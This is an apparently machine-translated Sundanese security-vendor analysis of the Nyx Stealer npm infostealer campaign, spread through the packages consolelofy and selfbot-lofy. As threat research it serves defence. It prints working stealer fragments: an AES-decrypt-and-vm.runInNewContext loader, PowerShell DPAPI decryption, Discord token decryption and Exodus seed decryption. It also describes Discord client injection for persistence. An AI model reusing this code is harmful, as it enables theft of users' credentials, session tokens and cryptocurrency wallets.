TL; DR
Tim Panalungtikan Kaamanan Xygeni ngaidéntifikasi kampanye infostealer npm anu canggih anu dikirimkeun ngalangkungan dua pakét jahat: konsollofy jeung selfbot-lofy.
Versi panganyarna (consolelofy@1.3.0) nyematkan payload énkripsi AES 216KB anu didekripsi nalika runtime sareng dieksekusi ngalangkungan vm.runInNewContext()Kusabab logika jahat dienkripsi sapinuhna, pamindai statis anu ngandelkeun pamariksaan string teu tiasa niténan paripolahna dugi ka waktos palaksanaan.
Sakali didekripsi, muatanna, anu dicap sacara internal Nyx Stealer, sasaran:
- Token auténtikasi Discord
- 50+ toko kredensial browser
- 90+ éksténsi dompét cryptocurrency
- Sesi Roblox, Instagram, Spotify, Steam, Telegram, sareng TikTok
- Persistensi klien desktop Discord
Sadaya 20 vérsi dina dua pakét éta dilaporkeun sareng dikonfirmasi jahat.
Tinjauan Téknis tina Infostealer npm Ieu
Beda sareng malware waktos pamasangan tradisional, kampanye ieu ngandelkeun a runtime modél dekripsi.
Nyaéta:
- Teu aya niat jahat
preinstallorpostinstallhooks - Teu aya telepon jaringan anu jelas nalika pamasangan
- Teu aya logika panén kredensial plaintext
Payload bakal aktip nalika modul diimpor. Sakabéh awak jahat dienkripsi sareng ngan ukur némbongan dina mémori nalika runtime.
Desain ieu khususna nyingkahan deteksi nalika pamasangan pakét.
Kumaha npm Infostealer Ieu Sabenerna Ngalaksanakeun
Sateuacan nganalisis naon anu dicolong ku Nyx Stealer, urang kedah ngartos heula kumaha éta dijalankeun.
Logika jahat di jero infostealer npm ieu nuturkeun pola anu konsisten:
Loader leutik ngadekripsi payload énkripsi anu ageung sareng ngaéksekusi sacara dinamis di jero kontéks VM Node.js.
Desain ieu ngahaja. Panyerang henteu nyumputkeun fungsi di balik obfuscation hungkul, aranjeunna miceun kode jahat tina pisibilitas statis sagemblengna.
Modél Palaksanaan Tingkat Luhur
Dina tingkat anu luhur, bungkusna ngalakukeun opat hal:
- Ngahasilkeun konci AES tina frasa sandi anu di-hardcode nganggo SHA-256
- Ngadekripsi ciphertext anu dikodekeun heksadesimal ageung nganggo AES-256-CBC
- Ngajalankeun JavaScript anu didekripsi nganggo
vm.runInNewContext() - Nyayogikeun sandbox anu masih ngalaan primitif runtime anu kuat
Ringkesan Téhnik Inti
| komponen | Konfigurasi / Nilai |
|---|---|
| algoritma | AES-256-CBC |
| Turunan konci | SHA-256 (kecap akses) |
| Vektor Inisialisasi (IV) | 16 bait tina 0x00 |
| eksekusi | vm.runInNewContext(didekripsi, kotak pasir) |
Sacara kritis, kotak pasir ngaliwat:
requireprocessBuffer- timers
- ékspor modul
Ieu ngandung harti payload anu didekripsi nahan kamampuan pinuh pikeun:
- Prosés baranahan
- Maca sareng nyerat file
- Ngadamel telepon jaringan
- Ngarobih aplikasi lokal
Ieu sanés VM anu diwatesan. Ieu mangrupikeun VM anu dianggo salaku trampolin éksekusi.
Pola Énkripsi Runtime (Mékanisme Éksekusi Inti)
Pangisi barangna leutik.
Awak jahat mah henteu.
Di handap ieu pola palaksanaan anu aya di jero pakét:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Naha Hal-hal ieu
Payload anu didekripsi:
- teu teu aya dina plaintext di jero pakét npm
- Teu katingali ku jalma basajan
grepatanapi scanning string statis - Ngan némbongan dina mémori nalika runtime
- Ngajalankeun kalayan kamampuan runtime Node anu lengkep
Kombinasi palaksanaan AES + VM ieu mangrupikeun indikator paripolah anu kuat tina hiji npm infostealer nyobian nyingkahan pamariksaan statis.
Istilah sanésna:
Upami anjeun nyeken tangkal sumber pakét, anjeun moal ningali aya anu maling.
Anjeun ningali dekripsior.
Naon Anu Kajadian Saatos Dékripsi
Sakali dijalankeun, Nyx Stealer ngaluncurkeun gelombang pangumpulan data paralel.
Gelombang 1: Ékstraksi Kredensial Browser
Malware-na:
- Ngundeur runtime Python ti NuGet CDN
- Nginstal perpustakaan kriptografi
- Ékstrak panyimpenan kredensial dumasar Chromium
- Ngadekripsi rahasia anu dijagaan ku DPAPI
Gantina ngompilasi binding asli, éta ngamangpaatkeun PowerShell pikeun nelepon Windows DPAPI sacara langsung.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Pendekatan ieu:
- Ngahindarkeun artefak kompilasi
- Nganggo API kripto Windows asli
- Campuran kana parabot administrasi
Éta mangrupikeun dekripsi kredensial tingkat OS, sanés scraping.
Gelombang 2: Dékripsi Token Discord
Nu maling téh apal kana protokol. Éta ngartos format token énkripsi Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Aliran operasional:
- Ékstrak konci master tina Discord
Local State - Dekripsi konci master via DPAPI
- Dekripsi gumpalan token AES-GCM
- Validasi token ngalawan API Discord
- Beungharkeun ku Nitro, lencana, info tagihan
Ieu sanés miceun kredensial umum. Ieu mangrupikeun pembajakan sési anu sadar protokol.
Gelombang 3: Targeting Dompét Cryptocurrency
Infostealer npm ngadaptarkeun:
- 90+ éksténsi dompét browser
- 27 dompét desktop
- Jalur dompét tiis
- File siki Exodus
Conto usaha dekripsi seed:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Upami suksés, gangguan dompét bakal langsung kajadian sareng teu tiasa dibalikkeun deui.
Ieu ngagambarkeun vektor monetisasi kampanye anu paling bernilai.
Persisténsi via Discord Desktop Injection
Saatos ngumpulkeun kredensial, Nyx Stealer nyobian tetep gigih ku cara ngarobih lokal Discord langganan.
udagan:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Runtuyan Operasional
Infostealer ngalakukeun léngkah-léngkah ieu:
- Ngeureunkeun prosés Discord anu dijalankeun
- Milarian varian Discord anu dipasang (Stable, Canary, PTB)
- Nuliskeun deui
discord_desktop_core/index.js - Nyuntikkeun logika webhook anu dikontrol ku panyerang
- Ngamimitian deui Discord
Ieu mastikeun yén sési Discord ka hareup sacara otomatis bakal ngabocorkeun token auténtikasi anyar.
Anu penting, persistensi ieu henteu ngandelkeun tugas anu dijadwalkeun atanapi modifikasi pendaptaran. Éta ngamangpaatkeun modifikasi kode tingkat aplikasi, pendekatan anu langkung disumputkeun.
Sanajan pakét npm jahat engkéna dihapus, klien Discord tetep bakal kaganggu.
Babandingan Téknis: Selfbot Sah vs npm Infostealer
| komponen | Perpustakaan Sah | Nyx npm Infostealer |
|---|---|---|
| enkripsi | teu sahiji bae | Muatan lengkep anu dienkripsi AES |
| VM Runtime | teu diperlukeun | vm.runInNewContext eksekusi |
| Aksés Kapercayaan | API Discord hungkul | Browser, dompét, DPAPI |
| Unduhan Éksternal | teu | Runtime Python via NuGet |
| katekunan | teu | Injeksi klien Discord |
| Monetization | Otomatisasi bot | Penjualan ulang kredensial |
Lapisan énkripsi waé parantos misahkeun kampanye ieu tina garpu sumber terbuka anu khas.
Selfbot Discord anu sah teu gaduh alesan pikeun ngenkripsi sadaya basis kode na, ngaluarkeun PowerShell pikeun ngaksés DPAPI, ngaunduh runtime éksternal, atanapi ngarobih internal aplikasi desktop. Nalika kamampuan éta muncul di jero dependensi anu ngaku ngotomatisasi interaksi Discord, ketidakcocokan arsitéktur janten teu mungkin dipaliré.
Tina sudut pandang panalungtikan, infostealer npm ieu ninggalkeun tapak dina sababaraha lapisan. Nanging, indikator anu paling dipercaya sanés URL anu di-hardcode atanapi jalur file khusus, sabab éta tiasa robih antara vérsi. Sabalikna, sinyal anu awét téh struktural.
Dina tingkat pakét, tanda bahaya anu paling kuat nyaéta kombinasi tina payload anu dienkripsi ageung sareng bungkus dekripsi runtime anu langsung dijalankeun ngalangkungan vm.runInNewContext()Sanaos énkripsi nyalira henteu jahat, ngagunakeun dekripsi AES dituturkeun ku palaksanaan VM dinamis di jero pakét utilitas Discord mangrupikeun hal anu anéh pisan.
Dina tingkat host, pola anu curiga kalebet aktivitas dekripsi DPAPI anu teu kaduga, prosés anu muncul tina kontéks katergantungan Node.js, sareng modifikasi file aplikasi lokal anu teu kedah dirobih ku perpustakaan pihak katilu. Kitu ogé, dina lapisan jaringan, komunikasi gaya webhook kaluar anu diprakarsai ku katergantungan pamekaran ngagambarkeun anomali anu penting.
Ku kituna, beungeut deteksi sanés hiji-hijina indikator tina kompromi. Éta téh korélasi énkripsi, palaksanaan runtime, aksés kredensial, sareng paripolah persistensi anu ngungkabkeun ancaman.
Deteksi sareng Mitigasi nganggo Xygeni
Pencuri info npm ieu diidentipikasi ku Peringatan Dini Malware Xygeni (MEW) ngaliwatan korélasi paripolah anu berlapis tinimbang cocogna tanda tangan anu saderhana.
Gantina milarian string jahat anu dipikanyaho, MEW ngaevaluasi anomali struktural di sakumna tangkal sumber lengkep. Dina hal ieu, deteksi muncul tina konvergénsi sababaraha sinyal: rutin dekripsi AES anu dipasang dina titik éntri modul, palaksanaan langsung di jero kontéks VM, sareng ketidakcocokan kamampuan-ka-maksud anu jelas.
Anu penting, teu aya hiji ogé tina sinyal ieu anu ngabuktikeun niat jahat. Nanging, nalika dianalisis babarengan, éta ngalaan usaha pikeun nyumputkeun paripolah runtime. Pendekatan berlapis ieu sacara signifikan ngirangan positip palsu bari ngaidentipikasi ancaman ranté suplai anu percaya diri.
Salajengna, kasus ieu ngagambarkeun kunaon pamariksaan waktos pamasangan waé teu cekap. Logika jahat henteu aya dina skrip siklus hirup. Éta ngan ukur aktip saatos modul dimuat sareng ngan ukur katingali saatos didekripsi dina mémori. Ku alatan éta, pertahanan anu efektif meryogikeun analisis anu sadar kana énkripsi, pangakuan pola paripolah, sareng pemantauan katergantungan kontinyu saluareun kajadian pamasangan.
Panghapusan pendaptaran téh réaktif. Analisis anu sadar kana runtime téh sipatna preventif.
Naha Infostealer npm Ieu Penting
Nyx Stealer ngagambarkeun évolusi struktural dina malware berbasis npm.
Sacara historis, seueur paket jahat ngandelkeun skrip waktos pamasangan anu katingali atanapi titik tungtung éksfiltrasi kredensial anu jelas. Sabalikna, kampanye ieu ngenkripsi payload-na, nunda palaksanaan ka runtime, ngamangpaatkeun API sistem operasi anu sah, sareng ngadegkeun persistensi di jero aplikasi anu dipercaya.
Ku kituna, panyerang teu kedah ngamangpaatkeun infrastruktur npm sorangan. Sabalikna, serangan éta suksés sabab pamasangan katergantungan nunjukkeun kapercayaan. Pamekar nganggap yén ngimpor pustaka mangrupikeun operasi anu aman, khususna nalika éta nampilkeun dirina salaku garpu anu masuk akal tina alat anu populér.
Nalika ékosistem terus tumuwuh sareng garpu nyebar, wates kapercayaan implisit éta janten permukaan serangan anu beuki pikaresepeun. Ku alatan éta, ngabela ngalawan infostealer npm modéren meryogikeun mikawanoh pola arsitéktur tinimbang milarian string statis.
Pamustunganana, kampanye ieu nguatkeun palajaran penting dina software supply chain securityAncaman anu paling bahaya sanés anu katingalina jahat dina pandangan munggaran, tapi anu katingalina sah sacara struktural dugi ka runtime ngungkabkeun paripolah anu saleresna.




